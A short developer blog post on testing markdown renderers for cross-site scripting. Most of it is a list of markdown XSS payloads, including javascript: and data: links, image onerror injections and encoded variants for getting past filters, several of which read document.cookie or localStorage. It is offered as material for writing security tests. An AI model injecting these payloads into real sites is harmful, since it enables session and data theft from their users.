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Testing for XSS in Markdown Fields

Stephan Plöderl
July 03, 2020Software engineer at makandra GmbH

If you render markdown from user input, an attacker might be able to use this to inject javascript code into the source code of your page.
The linked github page is a collection of common markdown XSS payloads which is handy for writing tests.

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

Using onload and onerror rendering images:

![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))

Trying to bypass some XSS filters

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The site also provides some probes with different encodings and other common tricks to bypass some filters for these payloads in the Fuzzing section.

[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript&#58this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain))
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
Posted by Stephan Plöderl to makandra dev (2020-07-03 11:03)